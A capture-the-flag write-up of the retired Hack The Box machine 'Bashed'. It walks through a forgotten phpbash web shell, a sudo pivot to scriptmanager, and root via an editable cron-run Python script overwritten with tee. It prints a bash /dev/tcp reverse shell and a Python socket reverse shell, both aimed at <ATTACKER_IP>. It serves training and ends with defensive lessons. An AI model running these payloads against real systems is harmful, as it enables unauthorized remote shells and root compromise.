root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat bashed.md
// writeups

Bashed

9 Dec 2017 · 11 min read
Bashed - maquina de Hack The Box

Executive summary — Bashed is an Easy Linux box with an instructive double-pivot chain: a forgotten web shell (phpbash) in /dev/ gives execution as www-data; from there, sudo lets us act as scriptmanager, who owns a /scripts directory whose test.py is run by root via cron. The first attempt to overwrite that script fails for a very instructive reason about how shell redirection works under sudo; the fix is tee. A web shell → www-data → scriptmanager → root cron → root path.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.15.157

Attack map

[80] gobuster → /dev/  (forgotten phpbash web shell)
   ▼
[RCE]  www-data
   │  direct reverse shell (nc) → fails: the web shell gives no real TTY
   │  sudo -l → (scriptmanager) NOPASSWD: ALL
   ▼
[scriptmanager]  owns /scripts/ (test.py editable; test.txt is owned by root)
   │  ROOT cron runs /scripts/test.py periodically
   │  echo ... > test.py fails (the redirection is handled by www-data, not scriptmanager)
   │  echo ... | tee test.py DOES write the file as scriptmanager
   ▼
[ROOT]  tee overwrites test.py with a reverse shell → the cron runs it as root

1. Reconnaissance

As with practically any HTB box, the first step is a network scan to see what services are exposed.

nmap -Pn -n -sC -sV -T4 10.129.15.157
80/tcp  open  http

A single open port: the entire attack surface sits in the web application, so reconnaissance moves straight to HTTP.

2. Web enumeration

gobuster dir -u http://10.129.15.157 -w /usr/share/wordlists/dirb/common.txt -x php,txt -t 40
/config.php           (Status: 200) [Size: 0]
/css                  (Status: 301)
/dev                  (Status: 301)
/fonts                (Status: 301)
/images               (Status: 301)
/index.html           (Status: 200)
/js                   (Status: 301)
/php                  (Status: 301)
/uploads              (Status: 301)

Of the whole list, /dev is the suspicious one. In «development» paths it's common to find forgotten files: test shells, internal scripts, or unauthenticated panels that should never have reached production.

3. Initial access — phpbash

Browsing to /dev/ reveals an exposed web shell: a phpbash-style environment, a web terminal that runs commands directly on the server. That's direct RCE, no further exploitation needed:

http://10.129.15.157/dev/
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

That already gives remote code execution and enough control of the system to start escalating, as the web service's own user.

4. Failed reverse shell attempt

The natural next step is to turn the web shell into something more comfortable than a form: a reverse shell. A listener is set up and the classic payload is fired from phpbash:

nc -lvnp 4444
bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'

The connection never reaches the listener. This isn't a syntax error: it's a classic limitation of web shells. phpbash provides no real TTY, each command's execution context is ephemeral, and redirections like >& or interactive processes don't survive that execution model well. The important lesson: if a reverse shell fails, it doesn't mean the attack has stalled — you can keep enumerating and exploiting directly from the access you already have.

5. Sudo enumeration

Now as www-data, the next step is checking what sudo privileges are available:

sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

Translation: www-data can run any command as scriptmanager, without a password. Not root yet, but it opens a direct intermediate escalation path.

6. Pivot to scriptmanager

The obvious attempt is to spawn an interactive shell as that user:

sudo -u scriptmanager -i
sudo -u scriptmanager /bin/bash

But checking the current user again still shows www-data:

whoami
www-data

This doesn't mean sudo isn't working: the web shell simply doesn't keep a persistent interactive context. The command runs, the new subshell dies immediately, and phpbash goes back to showing the original process. The correct way to confirm it is with an inline command, without relying on a session:

sudo -u scriptmanager whoami
scriptmanager

Confirmed: any command can be run as scriptmanager, as long as it's done in a single sudo invocation.

7. The /scripts directory and the root cron

With access as scriptmanager, it's time to inspect what that user has at hand:

sudo -u scriptmanager ls -la /scripts
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun  2  2022 .
drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Apr  7 10:59 test.txt
sudo -u scriptmanager cat /scripts/test.py
f=open("test.txt","w")
f.write("testing 123!")
f.close

The golden clue is in file ownership: test.py belongs to scriptmanager (editable), but test.txt —the file that script creates— belongs to root, with a recent modification time. That can only mean one thing: a root scheduled task runs test.py periodically, and since the file is editable by scriptmanager, controlling its contents means controlling what root executes.

8. First (failed) escalation attempt: the redirection trap

The plan is simple: overwrite test.py with a payload and wait for the root cron to run it. The first attempt uses echo with direct redirection:

sudo -u scriptmanager echo "<payload>" > /scripts/test.py

Reading the file back, the content is still the original one: the write never happened.

The reason is a nuance many people overlook with sudo: in a command like sudo -u scriptmanager echo "..." > /scripts/test.py, two different things happen. echo runs as scriptmanager, but the > redirection is handled by the current shell —that is, www-data— before sudo even comes into play. And www-data only has read permission on test.py (owner scriptmanager, group scriptmanager): the write silently fails.

9. Escalation to root with tee

The fix is to make the process that actually writes the file run under sudo, instead of letting the current shell's redirection do it. That's what tee is for: the content is piped into it, and tee —now running as scriptmanager— is the one opening the file for writing.

nc -lvnp 9001
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER_IP>",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' | sudo -u scriptmanager tee /scripts/test.py

This time, reading the file back confirms the content has changed. All that's left is to wait for the root cron to trigger it again (roughly every minute):

connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.15.157] 58713
bash: cannot set terminal process group (1138): Inappropriate ioctl for device
bash: no job control in this shell
root@bashed:/scripts#

The «no job control» warnings are normal for a not-fully-interactive reverse shell; what matters is the prompt: root@bashed. Full access achieved.

10. Flags

cd /root && ls
cat root.txt
cd /home/arrexel && ls
cat user.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdWeb applicationForgotten web shell (phpbash) exposed in /dev/RCE as www-data
Pivotsudowww-data → scriptmanager (NOPASSWD: ALL)Intermediate user with more privileges
PrivEscroot cron + editable scriptroot periodically runs a test.py writable by scriptmanagerCode execution as root

Lessons learned

  • Never leave test web shells in production, let alone reachable at an obvious path like /dev.
  • File ownership clues matter: a root-owned file generated by a script another user can edit usually gives away a scheduled task.
  • Beware cron jobs that run scripts a less-privileged user can modify.
  • sudo -l reveals intermediate pivots (here, to scriptmanager) that don't grant root by themselves but open the path.
  • Web shells aren't real terminals: they keep no session or TTY; verify with inline commands (sudo -u X whoami) instead of trusting an interactive shell that seems broken.
  • Redirection with > under sudo is handled by the invoking shell, not the target user: to write a file as another user, use a process that opens the file itself (tee, dd…), never the current shell's redirection.
  • A failed reverse shell doesn't mean the attack failed: you can keep enumerating and escalating from the access you already have.